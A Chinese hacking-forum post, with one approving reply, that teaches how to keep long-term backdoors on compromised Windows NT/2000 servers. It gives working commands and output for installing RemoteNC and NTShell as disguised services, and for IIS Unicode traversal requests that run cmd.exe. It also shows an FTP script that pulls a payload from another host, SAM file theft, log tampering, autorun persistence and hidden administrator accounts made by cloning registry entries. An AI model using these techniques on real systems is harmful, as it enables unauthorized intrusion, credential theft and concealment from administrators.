返回列表 发帖

做尽可能久的后门

一、利用长久服务: 前段时间做了一些肉鸡做跳板,辛辛苦苦上传了很多文件,但使用不到几天就被K了,漏洞也补上了,后来干脆不用跳板了!结果警告来了!痛定思痛!如何在肉鸡上留下后门达到长期使用的目的呢?今天早上在网上找了一早,也没有找出什么有用的东西!还是自己动手吧!我门通常使用nc,ncx,netcat等东西来开后门,但这些后门只是临时的,,主要用于得到Admin权限,能不能留下长期的后门呢?能! 我在这里介绍的只是如何制作后门,不打算介绍如何得到Admin权限!至于如何得到Admin,方法很多!U,SQL,溢出、ipc管道、暴力…………单有一点是肯定的,要留后门,必须有Admin权限。 我打算介绍用两种方法,确切的说是用两个软件! 第一:用小榕的remotenc。第二,用NT Shell 1.0 Beta,这两个软件的共同点是都能作为服务运行在远端服务器上!我使用下来感觉差不多!不过ntshell的功能远不止开后门,呵呵!很强大的工具!可以得到asp文件!这对想破江湖的人可是………… 再强调一点,one:太容易进入的主机不要作自己的跳板(除非你进去后留下后门把漏洞给补上)two:速度太慢和小型http服务器不要作自己的跳板。three:进入得到Admin权限后接下来要作的事:留后门--》做代理(就是snake的那个)--》补漏洞 以上三点属个人意见,供参考! 好了,说了半天的废话,我们开始用小榕的remotenc做我们的第一个跳板! 假设我们已经得到192.168.0.1的admin权限,user:hack password:123,并且192.168.0.1支持ipc$远程连接!(呵呵!废话!不能连接怎么作跳板!)在自己c:\hack下有remotenc,好,开始 c:\hack\remotenc 192.168.0.1 hack 123 runasuser "RemoteNC" "Provide Local CMD Redirect" 7 91888 解释: remotenc 目标主机 用户名 密码 启动模式 "服务名称" "服务说明" 监听的端口 控制密码 /overwrite(注:可以不加该参数) 其中: 用户名必须是admin权限 启动模式有runasuser和localsystem两种(建议用runasuser模式,如果runasuser模式失败就用localsystem模式) 服务说明是启动后显示在服务管理器中的说明,为了迷惑管理员,建议不要用“hack”之类 监听的端口是remotenc作为服务启动以后开的监听端口,可以是7、8等,但不要是21、23、25、80等 控制密码:你telnet(或者ntshell)到监听端口后需要的密码,也就是你对remotenc的控制密码。(这里就不要要了哈!别这么小气三) /overwrite覆盖已经安装的remotenc(不要覆盖我的哈) 回车后出现如下信息: =======RemoteNC Beta 4, Written by Assassin 2001======= http://www.netXeyes.comhttp://www.netXeyes.org [Install Service as RunasUser Mode] Connecting 192.160.0.1 ..... Done. Transffer File ..... Done. Start Service ..... Done. Now You can Telnet 192.168.0.1 to Connect, Have a Joy 也可能出现: =======RemoteNC Beta 4, Written by Assassin 2001======= http://www.netXeyes.comhttp://www.netXeyes.org [Install Service as RunasUser Mode] Connecting 192.168.0.1 ..... Done. Transffer File ..... Done. Start Service ..... Service Exsited,1206Failed. 这是启动服务失败 这是可以把安装模式换为localsystem,即 c:\hack\remotenc 192.168.0.1 hack 123 localsystem "RemoteNC" "Provide Local CMD Redirect" 7 91888 就能安装成功! 如果出现第一中情况,祝贺你,然后 Microsoft Telnet> open 192.168.0.1 7 正在连接到192.168.0.1 7... 然后出现: RemoteNC Control Password:(这里输入你的控制密码91888) 然后出现: RemoteNC Control Password: ********* ===============Banyet Soft Labs. 1995-2001 All RightsReserved.=============== =========Written by Assassin, Server EditionFluxShadow@21cn.com============== Microsoft Windows 2000 [セ 5.00.2195] RemoteNC> 哈哈,可以添加用户了!net命令就不用说了哈(即使hack 123的账户被K了,仍然可以telnet到7在remotenc下添加用户,只要他不发现在服务管理器中的Provide Local CMD Redirect,你就一直都有自己的账户!)拷贝必要的文件上去!twwwscan等(注意隐蔽),或者fshttp,fspop也加上去,哈哈真的很爽!也可作成自己的sock5代理。 添加完用户,启动他的telnet服务如果没有启动的话),又可以继续运行你的twwwacan等东西了! 第二种方法,利用NT Shell 1.0 Beta 为了讲述ntshell的详细用法,我详细讲述 一、ntshell分为客户端和服务端!服务端的名称为ntshell.exe,客户端ntshellc.exe 二、ntshell的语法: 内建的命令都是以'?'开头,在命令行上输入'?help'可以查看命令帮助列表,命令不分大小写。共有以下几个命令,其中由于标准的telnet不支持文件传输,因此前两个命令就是文件互传,必须使用附带的客户端才能实现。同时虽然在文件传输时,你可以运行其他命令,但是同一时刻只能有一个文件在传输(也就是前一个get,put,httpget命令没完成,就不能再执行这3个命令中的任意一个),这主要是因为我为了编程方便,而且我觉得也没必要多个文件同时传输,不过如果有必要,以后可以考虑。 ?autorun [name file "args"] --- 将本程序添加到自动运行,将检查所有已知位 置(先是注册表);name是一个项名,file是程序名(当然也可以是其他 程序),args是程序的参数列表,一定要用""括起来。缺省是NTKernel ntshell.exe "-w 10"。 ?canceldata --- 终止刚才传输的文件 ?chdir --- 更改服务器的当前目录,不加参数查看当前目录,可以是网上邻居中的共享 ?get [port] --- 从服务器下载文件,可以指定使用服务器使用[port]端口传输 ?help --- 查看命令帮助列表 ?httpget --- 从 'host'主机上下载文件 'url', 必须以根'/'开始 例如httpgethttp://192.168.0.1 / hackdir/hackprog.exe,可以没有http:// ?pskill PID --- 杀死指定PID的进程 ?pslist --- 列出当前系统中的所有进程,如果是guests组可能很多进程不能获得详细信息 ?put [port] --- 上传文件到服务器,可以指定使用服务器使用[port]端口传输 ?quit --- 服务器端退出,相当于使用exit命令,不过如果执行 了copy con abc这样的坏内部命令,你就不能在使用exit命令 了,可以使用quit退出 ?restart [ [pass]--- 以user身份重启动shell,不过本版本只能重起 shell,不能以指定的用户运行。原因是使用CreateProcessAsUser创建进 程时权限不足,即使原来是admin也不行 ?sysinfor --- 获得系统的信息,现在只有os的简短信息 程序支持的参数为(使用'?use'参数可以查看该列表,不使用‘/?’或‘-?’来实现是因为一旦把它留在服务器上,敌方运行该程序查看到程序功能的话,就糟了) ntshell [-listen Listenport] [-time Timeout] [-pass Password] [-show] [-wait WInterval] [-until time] [-last LInterval] -listen Listenport --- 指定监听的端口,缺省值是22 -time Timeout --- 指定超时的秒数,缺省值是180 -pass Password --- 指定连接的口令,如果含有空格,使用" "包含口 令; 缺省值是"let me in" -show ---显示一个console窗口,用户可以通过关闭该窗口结束本程序 -wait WInterval ---在程序运行后,先等待WInterval分钟,然后监听端口 -until hour:minu --- 在程序运行后,直到hour:minu时才监听端口 -last LInterval --- 在程序监听端口后,如果LInterval分钟内没有连接,将 结束程序 最后三项是为了增加程序的隐蔽性,以避免在通常情况下使用程序发现监听的进程 三、ntshellc的用法: 在没有连接的情况下,提示符是NTShellc>,此时可以使用以下的3个内建命令,命令均为小写。命令可以简写。 h[elp] ---- 显示支持的命令列表 o[pen] [port] ---- 与target的port进行连接,port缺省值是22 q[uit] ---- 退出本程序 程序支持的两个参数,可以使用标准的'/?'参数查看该列表。如果不提供参数将进入NTShellc>提示符,然后可以使用open命令进行连接。 ntshellc [Target] [Port] [Target] ---- 要连接的服务器 [Port] ---- 要连接的端口 四、实例 --NTShell使用示例 本示例仅为示范NTShell的功能与语法,因此使用unicode漏洞进行攻击试验。其中以'//'开头的行是我的注释,其他的是程序的输出。 //在本机运行客户端, F:\hacktool\ntshell>ntshellc NtShell Client Program. > Type Help to see the commands //连接目标计算机的www服务 NTShellc>o 192.168.0.1 80 > Connect to 192.168.0.1 at Port 80 ... > Connected with the server. //请求一个已知的文件 GET /iissamples/default%c1%1csamples.asp /HTTP/1.0 //找不到文件,IIS4.0,应该是%1%9c, HTTP/1.1 404 找不到对象 Server: Microsoft-IIS/4.0 Date: Sat, 10 Feb 2001 15:08:26 GMT //再来, NTShellc>o 192.168.0.1 80 > Connect to 192.168.0.1 at Port 80 ... > Connected with the server. GET /iissamples/default%c1%9csamples.asp HTTP/1.0 //行了,找到了, HTTP/1.1 200 OK //下面要试试,哪些web目录在和系统在同一个逻辑盘上 GET /scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir //找到了,就用它了 HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Directory of C:\Inetpub\scripts 01-01-09 02:58p . 01-01-09 02:58p .. 00-08-28 05:30p proxy 00-08-28 05:30p tools 4 File(s) 241,424 bytes 850,3XX,416 bytes free > Connection closed NTShellc>o 192.168.0.1 80 //拷贝cmd.exe GET /scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+copy+\winnt\system3 2\cmd.exe+dmc.exe //不理它, 1 file(s) copied. 没有访问拒绝就行 HTTP/1.1 502 网关错误 Server: Microsoft-IIS/4.0 Date: Wed, 07 Feb 2001 09:47:20 GMT Content-Length: 190 Content-Type: text/html CGI 运用程序中出错

CGI 错误

指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正 常。它返回的标题是:

 1 file(s) copied. 
> Connection closed //下面就方便了,赶紧把ntshell上传, 就使用ftp脚本吧, GET /scripts/dmc.exe?/c+echo+open+192.168.0.45>ftp.bin GET /scripts/dmc.exe?/c+dir GET /scripts/dmc.exe?/c+echo+anonymous>>ftp.bin GET /scripts/dmc.exe?/c+echo+test@test>>ftp.bin GET /scripts/dmc.exe?/c+echo+binary>>ftp.bin--//一定要有这步,不然有的运行不正常 GET /scripts/dmc.exe?/c+echo+get+ntshell.exe>>ftp.bin GET /scripts/dmc.exe?/c+echo+quit>>ftp.bin //看看文件内容写的对不对, GET /scripts/dmc.exe?/c+type+ftp.bin HTTP/1.1 502 网关错误 Server: Microsoft-IIS/4.0 Date: Wed, 07 Feb 2001 14:57:14 GMT Content-Length: 232 Content-Type: text/html CGI 运用程序中出错

CGI 错误

指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正 常。它返回的标题是:

open 192.168.0.45 
anonymous 
test@test 
get ntshell.exe 
quit 
> Connection closed //好的,执行ftp GET /scripts/dmc.exe?/c+ftp+-s:ftp.bin GET /scripts/dmc.exe?/c+dir Directory of C:\Inetpub\scripts 01-02-07 10:58p . 01-02-07 10:58p .. 98-11-11 04:04a 241,424 dmc.exe 01-02-08 12:24a XX ftp.bin 01-02-08 12:25a 53,248 ntshell.exe 00-08-28 05:30p proxy 00-08-28 05:30p tools 7 File(s) 294,736 bytes 854,074,368 bytes free //执行ntshell, GET /scripts/ntshell.exe HTTP/1.0 //ctrl+c结束这个连接,退出程序。 //再次进入 F:\hacktool\ntshell>ntshellc NTShellc>o 192.168.0.1 > Connect to 192.168.0.1 at Port 22 ... > Connected with the server. let me in Use 'net helpmsg xxx' to see detail message of Error Code. Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. //看看它的系统, C:\Inetpub\scripts>?sysinfor # Operation System is Windows NT 4.0, # Build Number:1381 # Service Pack 4 //nt4+sp4的,去看看log文件 C:\Inetpub\scripts>cd c:\winnt\system32\logfiles C:\WINNT\system32\LogFiles>cd w3svc1 cd w3svc1 拒绝访问。 //得,还没的看,以后再说吧; C:\WINNT\system32>cd ..\repair C:\WINNT\repair>dir 00-03-31 09:15p 3,544 sam._ //虽然有用的可能性很小,不过还是那回来试试吧, C:\WINNT\system32>?get \winnt\repair\sam._ > download file 'sam._' 3544 bytes complete success. //看看它都运行了什么程序, C:\WINNT\system32>?pslist # EnableDebugPrivileges Error, Code:1300 Process ID: 2 Query Process Detail infor Error Process ID: 25 Query Process Detail infor Error Process ID: 33 Query Process Detail infor Error ... Process ID: 565 Query Process Detail infor Error Process ID: 572 C:\Inetpub\scripts\ntshell.exe Process ID: 466 C:\WINNT\System32\cmd.exe # Total 42 processes in system. //喔赛,都看不了,还有个1300是什么错误?用net看看 C:\WINNT\system32>net helpmsg 1300 net helpmsg 1300 并非所有被引用的特权都分配给调用者。 //看来guest的权限实在太小了,好在知道ntshell和它的cmd进程id,不行了可以杀 C:\Inetpub\scripts>?help #?autorun [name file "args"] --- add the [file] to autorun when reboot, [file] default is ntshell.exe //可以自动运行,要试试, C:\Inetpub\scripts>time time 当前时间: 5:33:27.32 输入新时间: //它的时间和我的差不多,行了 C:\Inetpub\scripts>?autorun ntshelld ntshell.exe "-until 2:00 -pass "a b c" -last 60" # file 'C:\Inetpub\scripts\ntshell.exe' has added to autorun at C:\WINNT\Profiles\All Users\「开始」菜单\程序\启动\ntshelld.lnk //看来没在注册表中找到位置,到底在开始菜单中找到一个可以运行的地方,好了,等着系统重起动吧 //(一定注意参数作为一个字符串,使用" "括起来,不然可能就不对了。这个参数的意思是“程序//运行后,直到夜里2点开始监听连接,持续60分钟,连接后使用a b c作为口令”) C:\Inetpub\scripts>del ftp.bin C:\Inetpub\scripts>exit NTShellc>q //破解完了sam._,用里边的密码进行,net use无效,看来这个密码文件没什么用了, //过两天在夜里2点到3点之间进行连接,看看成功否 NTShellc>o 192.168.0.1 > Connect to 192.168.0.1 at Port 22 ... > Connected with the server. //连上了,ok a b c C:\>cd winnt\system32\logfiles C:\WINNT\system32\LogFiles>cd w3svc1 C:\WINNT\system32\LogFiles\W3SVC1>?get C:\WINNT\system32\LogFiles\W3SVC1\ex010205.log //把记录改改,再给他put回去 C:\WINNT\system32\LogFiles\W3SVC1>?put ex010205.log //好了,这台机器行了,在加个admin组的用户, //把ntshell的客户端拿过来,再看看其他机器, C:\WINNT\system32\LogFiles\W3SVC1>cd \inetpub\scripts C:\Inetpub\scripts>?put ntshellc.exe //运行它, C:\Inetpub\scripts>ntshellc NTShellc>o 192.168.0.45 80 > Connect to 192.168.0.45 at Port 80 ... > Connected with the server. GET / HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Content-Location:http://192.168.0.45/index.html //嗯,是台win2k+iis5, 如发炮制。 NTShellc>NTShellc>q C:\Inetpub\scripts> //想办法上传ntshell,并运行它,然后运行ntshellc进行连接 C:\Inetpub\scripts>ntshellc NTShellc>NTShellc>o 192.168.0.45 > Connect to 192.168.0.45 at Port 22 ... > Connected with the server. D:\Inetpub\Scripts>cd \ cd \ //取看看log文件,是我连接的,还是192.168.0.1 D:\>cd winnt\system32\logfiles cd winnt\system32\logfiles D:\WINNT\system32\LogFiles> D:\WINNT\system32\LogFiles>cd w3svc1 D:\WINNT\system32\LogFiles>cd w3svc1 D:\WINNT\system32\LogFiles\W3SVC1>D:\WINNT\system32\LogFiles\W3SVC1>type ex010208.log D:\WINNT\system32\LogFiles\W3SVC1>type ex010208.log #Software: Microsoft Internet Information Services 5.0 #Version: 1.0 #Date: 2001-02-08 02:04:40 #Fields: time c-ip cs-method cs-uri-stem sc-status 10:11:34 192.168.0.1 GET /index.html 200 D:\WINNT\system32\LogFiles\W3SVC1>time time 当前时间: 10:18:42.97 输入新时间: D:\WINNT\system32\LogFiles\W3SVC1>exit exit > Connection closed NTShellc>NTShellc> //ok, telnet跳板基本还可以,就是有时输出重复,一般一个命令得回车两次 二、克隆帐号 1...经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的用户,似乎当管理员不存在一般,今天偶违背一下偶以前的初衷,Share一个类似于RootKit的玩艺,当然,这些过程也是可以用脚本实现的,但是我就不写了,OK,Show Time Now。 首先要让大家知道的概念是在Windows 2000和Windows NT里,默认管理员帐号的SID是固定的500(0x1f4),那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆,在这里我们选择的帐号是IUSR_MachineName(当然,为了加强隐蔽性,我们选择了这个帐号,所有用户都可以用以下的方法,只不过这个用户较常见罢了),测试环境为Windows 2000 Server。 运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http://www.sometips.com/soft/psu.exe),然后在该CMD Shell里面运行 regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 这样我们将SID 为500的管理员帐号的相关信息导出,然后编辑adam.reg文件,将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的"1F4"修改为IUSR_MachineName的SID(大部分的机器该用户的SID都为0x3E9,如果机器在最初安装的时候没有安装IIS,而自己创建了帐号后再安装IIS就有可能不是这个值),将Root.reg文件中的"1F4"修改为"3E9"后执行 regedit /s adam.reg 导入该Reg文件 然后运行 net user IUSR_MachineName Sometips 修改IUSR_MachineName的密码(最好使用14位的密码,越像IUSR_MachineName的密码越好) OK,大功告成... 这样,我们拥有和默认管理员一样的桌面、一样的Profile..... 而且,当我们运行 net localgroup administrators 时,看看结果: C:\>net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator The command completed successfully. 再看看USER2SID的输出结果: C:\>user2sid Administrator S-1-5-21-1004336348-1078145449-854245398-500 Number of subauthorities is 5 Domain is IDONTKNOW Length of SID in memory is 28 bytes Type of SID is SidTypeUser C:\>user2sid iusr_machinename S-1-5-21-1004336348-1078145449-854245398-1001 Number of subauthorities is 5 Domain is IDONTKNOW Length of SID in memory is 28 bytes Type of SID is SidTypeUser 我想,再高明的管理员也看不到任何的异状了...而且,随便管理员改成什么密码,我照样可以用IUSR_MachineName,密码为Sometips登陆...(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName为其他的名字吧) 很多人提到使用了管理工具的用户管理后,能够发现IUSR_MachineName被提升了权限。 现给出解决办法。 方法同上,不过这次修改内容多一些。即 这次要导出两个key内容: 一个是adam提到的 regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 然后另外一个是你需要修改那个账号的值 regedit /e iusr.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9 然后按照adam提到的修改adam.reg “将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的"1F4"修改为IUSR_MachineName的SID” 现在,你还要从iusr.reg文件中复制一下内容 就是将iusr.reg文件中“"V"=hex:0”开始一直到iusr.reg文件结束部分复制下来 然后替换掉adam.reg中同样位置的部分 最后使用 regedit /s adam.reg 导入该Reg文件 呵呵,别忘了给这个IUSR_MachineName改密码哦。 hehe,ok,大功告成。 现在IUSR_MachineName账号拥有了管理员的权限,但是你使用net.exe和 管理工具中的用户管理都将看不到任何痕迹,即使你去察看所属于的组和用户。 都和修改前没有任何区别。 2...利用 CA.exe: http://www.heibai.net/download/show.php?id=2360 利用SA.exe 将Iusr_victim克隆为Administrator。 C:\>ca \\192.168.0.1 test test iusr_victim password Clone Administrator, by netXeyes 2002/04/06 Written by netXeyes 2002, dansnow@21cn.com Connect 192.168.0.1 ....OK Get SID of iusr_victim ....OK Prepairing ....OK Processing ....OK Clean Up ....OK 这时,iusr_victim就成为了超级用户,并有具有和Administrator同样的设置(桌面、菜单等等)。 ------------------------------------------------------- 用CCA.EXE检查是否存在克隆的帐号。 不必改变ACL, 支持远程检查。 C:\>cca \\192.168.0.29 administrator 123456 Check Clone Account, by netXeyes 2002/04/29 Written by netXeyes 2002, dansnow@21cn.com Connect 192.168.0.29 ....OK Prepairing ....OK Processing ....OK Checking .... Check Result: [DuDu] AS SAME AS [administrator] [Guest] AS SAME AS [administrator] [IUSR_RONG] AS SAME AS [administrator] [IWAM_RONG] AS SAME AS [administrator] [TEST] AS SAME AS [administrator] [xr] AS SAME AS [administrator] [Guest] AS SAME AS [DuDu] [IUSR_RONG] AS SAME AS [DuDu] 这上面的DuDu,guest,IUSR_RONG等帐户就已经是被克隆为administrator啦

做尽可能久的后门

文章有点长,没有仔细看完
不过思路真的不错,表扬!

TOP

返回列表 回复 发帖